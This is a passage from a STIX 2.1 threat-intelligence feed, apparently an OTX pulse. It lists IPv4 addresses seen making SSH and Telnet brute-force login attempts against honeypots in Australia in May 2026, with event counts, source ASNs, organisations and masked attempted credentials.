      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.68.4.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T07:15:12.000Z",
      "valid_until": "2026-06-13T07:15:08.000Z"
    },
    {
      "created": "2026-05-12T07:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 61908. Organisation(s): Nova Net Telecomunicacoes Ltda.",
      "id": "indicator--e1ce7ae7-45f9-4a8f-9675-8b53339d8c10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T07:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.197.244.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T07:15:12.000Z",
      "valid_until": "2026-06-13T07:15:08.000Z"
    },
    {
      "created": "2026-05-12T07:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 4787. Organisation(s): PT Cyberindo Aditama.",
      "id": "indicator--e34b12ae-f3ff-40bc-8283-29c05b943593",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T07:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '210.210.155.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T07:15:12.000Z",
      "valid_until": "2026-06-13T07:15:08.000Z"
    },
    {
      "created": "2026-05-12T07:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--2d8b134a-724a-4850-bf36-3c434f9457d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T07:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.236.99.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T07:15:12.000Z",
      "valid_until": "2026-06-13T07:15:08.000Z"
    },
    {
      "created": "2026-05-12T07:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n, p******d.",
      "id": "indicator--6019388a-efef-477b-af45-2b8a2ecb72d9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T07:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.79.215.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T07:15:12.000Z",
      "valid_until": "2026-06-13T07:15:08.000Z"
    },
    {
      "created": "2026-05-12T07:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--ea98bee8-267b-4e74-8954-4d012203ac20",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T07:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.187.35.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T07:15:12.000Z",
      "valid_until": "2026-06-13T07:15:08.000Z"
    },
    {
      "created": "2026-05-12T07:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 23418. Organisation(s): The Darien Telephone Co. Inc..",
      "id": "indicator--5fa17b82-d85e-42b3-a5aa-96714ac7d72c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T07:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.23.30.128']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T07:15:12.000Z",
      "valid_until": "2026-06-13T07:15:08.000Z"
    },
    {
      "created": "2026-05-12T07:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 15557. Organisation(s): Societe Francaise Du Radiotelephone - SFR SA.",
      "id": "indicator--174fa6d7-034a-4fbb-b5f6-eb2cea1e0cf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T07:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.218.75.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T07:15:12.000Z",
      "valid_until": "2026-06-13T07:15:08.000Z"
    },
    {
      "created": "2026-05-12T07:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--dd6b4724-7fc6-4c1e-98fe-dbbdd434b58e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T07:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.227.42.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T07:15:12.000Z",
      "valid_until": "2026-06-13T07:15:08.000Z"
    },
    {
      "created": "2026-05-12T07:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 21497. Organisation(s): PrJSC VF UKRAINE.",
      "id": "indicator--adf0f5f7-f2c0-4414-b9de-1885c02d7bb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T07:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.52.212.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T07:15:12.000Z",
      "valid_until": "2026-06-13T07:15:08.000Z"
    },
    {
      "created": "2026-05-12T07:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--8bb0412c-e4bd-416e-9deb-b641d290f2a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T07:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.168.78.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T07:15:12.000Z",
      "valid_until": "2026-06-13T07:15:08.000Z"
    },
    {
      "created": "2026-05-12T07:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--5707c320-ad4b-4bf4-95ed-e6e6763bc127",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T07:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '97.74.232.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T07:15:12.000Z",
      "valid_until": "2026-06-13T07:15:08.000Z"
    },
    {
      "created": "2026-05-12T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 38511. Organisation(s): PT Remala Abadi.",
      "id": "indicator--c91a8e5e-3677-4947-93b7-67eb8e5fb9a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.124.73.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T08:15:11.000Z",
      "valid_until": "2026-06-13T08:15:08.000Z"
    },
    {
      "created": "2026-05-12T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 17639. Organisation(s): Converge ICT Solutions Inc..",
      "id": "indicator--c42a1527-30e8-4cd6-b3b4-6c0eb62ebdaa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.29.90.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T08:15:11.000Z",
      "valid_until": "2026-06-13T08:15:08.000Z"
    },
    {
      "created": "2026-05-12T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--93e5e2c6-9837-4eb8-a499-64a3d8751b65",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.243.225.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T08:15:11.000Z",
      "valid_until": "2026-06-13T08:15:08.000Z"
    },
    {
      "created": "2026-05-12T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 9009. Organisation(s): M247 Europe SRL.",
      "id": "indicator--221c5d37-a452-4eb9-a8e3-4f480e98f0ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.236.16.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T08:15:11.000Z",
      "valid_until": "2026-06-13T08:15:08.000Z"
    },
    {
      "created": "2026-05-12T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--629b5a89-d799-496c-a50d-c5c3e8107f36",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.59.204.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T08:15:11.000Z",
      "valid_until": "2026-06-13T08:15:08.000Z"
    },
    {
      "created": "2026-05-12T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--19f2e324-3a82-4ac1-8168-17ccf55a200a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.13.173.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T08:15:11.000Z",
      "valid_until": "2026-06-13T08:15:08.000Z"
    },
    {
      "created": "2026-05-12T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--d549dbae-9eca-4483-b755-291e9be7050e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T08:15:11.000Z",
      "valid_until": "2026-06-13T08:15:08.000Z"
    },
    {
      "created": "2026-05-12T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 68. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********4, H**********************3.",
      "id": "indicator--dbe9abcb-098e-4605-8c2c-1f3529726c69",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.14.107.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T08:15:11.000Z",
      "valid_until": "2026-06-13T08:15:08.000Z"
    },
    {
      "created": "2026-05-12T08:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): t**t. Passwords observed (masked): t**t.",
      "id": "indicator--fae44b99-becc-433f-8098-e1f66b86fccb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.156.87.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T08:15:11.000Z",
      "valid_until": "2026-06-13T08:15:08.000Z"
    },
    {
      "created": "2026-05-12T08:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12714. Organisation(s): PJSC MegaFon.",
      "id": "indicator--3da23591-98c1-45a0-94a1-f523402bd49e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T08:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.149.130.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T08:15:11.000Z",
      "valid_until": "2026-06-13T08:15:08.000Z"
    },
    {
      "created": "2026-05-12T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 134674. Organisation(s): TATA PLAY BROADBAND PRIVATE LIMITED.",
      "id": "indicator--bbdeb0d0-3307-4126-a44d-a57f5615a92d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.0.63.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T09:15:11.000Z",
      "valid_until": "2026-06-13T09:15:08.000Z"
    },
    {
      "created": "2026-05-12T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 220. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, u****u, a***n, 3**********4, a***********r. Passwords observed (masked): 3***********4, 3**********4, p******d, 0****0, 1**1.",
      "id": "indicator--4c4b382b-20d4-48aa-b7a3-058a3ac8bd96",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.143.11.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T09:15:11.000Z",
      "valid_until": "2026-06-13T09:15:08.000Z"
    },
    {
      "created": "2026-05-12T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NP. ASN(s): 140050. Organisation(s): Next Geekers Pvt. Ltd..",
      "id": "indicator--f0c7a519-376f-4d0b-a0bf-6b013135613c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.147.227.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T09:15:11.000Z",
      "valid_until": "2026-06-13T09:15:08.000Z"
    },
    {
      "created": "2026-05-12T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 24444. Organisation(s): Shandong Mobile Communication Company Limited.",
      "id": "indicator--dfdc2ee8-5bf6-4118-9d9a-ef8659b155ff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.36.57.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T09:15:11.000Z",
      "valid_until": "2026-06-13T09:15:08.000Z"
    },
    {
      "created": "2026-05-12T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd..",
      "id": "indicator--c5b077ba-70ea-4325-bf4c-d6dca6778ee3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.7.172.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T09:15:11.000Z",
      "valid_until": "2026-06-13T09:15:08.000Z"
    },
    {
      "created": "2026-05-12T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 259. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9316. Organisation(s): DACOM-PUBNETPLUS. Usernames observed (masked): r**t, a***n, 3**********4, a***********r, d****y. Passwords observed (masked): 3***********4, 3**********4, p******d, 0****0, 1**1.",
      "id": "indicator--91cbe92a-ef70-4956-b0cd-474c67efbdb2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.247.116.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T09:15:11.000Z",
      "valid_until": "2026-06-13T09:15:08.000Z"
    },
    {
      "created": "2026-05-12T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 150. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): 3**********4, s****r, a***********r, f*****r, r**t. Passwords observed (masked): 3***********4, 3**********4, 1**1, 1*******D, 1******X.",
      "id": "indicator--9ba3fa51-04a7-4f32-81c8-b9f3271e72f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T09:15:11.000Z",
      "valid_until": "2026-06-13T09:15:08.000Z"
    },
    {
      "created": "2026-05-12T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--fbf9e6b6-8ea2-4be1-8643-6afc4017de91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '168.144.119.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T09:15:11.000Z",
      "valid_until": "2026-06-13T09:15:08.000Z"
    },
    {
      "created": "2026-05-12T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IQ. ASN(s): 199739. Organisation(s): Earthlink Telecommunications Equipment Trading & Services DMCC.",
      "id": "indicator--5253ed0b-40f2-4b77-ad2e-88fe0034cc33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '169.224.4.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T09:15:11.000Z",
      "valid_until": "2026-06-13T09:15:08.000Z"
    },
    {
      "created": "2026-05-12T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--78d83bac-d6b0-4aef-a9c3-5582b4419a82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '184.154.153.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T09:15:11.000Z",
      "valid_until": "2026-06-13T09:15:08.000Z"
    },
    {
      "created": "2026-05-12T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 154. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 141607. Organisation(s): PT Gayatri Lintas Nusantara. Usernames observed (masked): f*****r, r**t, u****u, 3**********4, a*****v. Passwords observed (masked): p******d, 0****0, 1****e, 1******@, 3***********4.",
      "id": "indicator--0b09f7db-8b73-46d9-a5fe-6c1ca8b0c656",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '210.79.142.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T09:15:11.000Z",
      "valid_until": "2026-06-13T09:15:08.000Z"
    },
    {
      "created": "2026-05-12T09:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 166. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Usernames observed (masked): 3**********4, a***n, s****a, t**t, u****u. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1******8, 1********t.",
      "id": "indicator--626a071d-0eea-40e1-9bb9-65004c1127a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '211.75.38.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T09:15:11.000Z",
      "valid_until": "2026-06-13T09:15:08.000Z"
    },
    {
      "created": "2026-05-12T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): G************1, U*************************************************************************************************************************6. Passwords observed (masked): A*******************p, H**********************3.",
      "id": "indicator--1a4f6052-977a-474c-8381-cb40ad991c65",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.52.190.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T09:15:11.000Z",
      "valid_until": "2026-06-13T09:15:08.000Z"
    },
    {
      "created": "2026-05-12T09:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********9, H**********************3.",
      "id": "indicator--5cb1057a-cf54-41d5-8219-00a9ab5478b2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T09:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.205.126.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
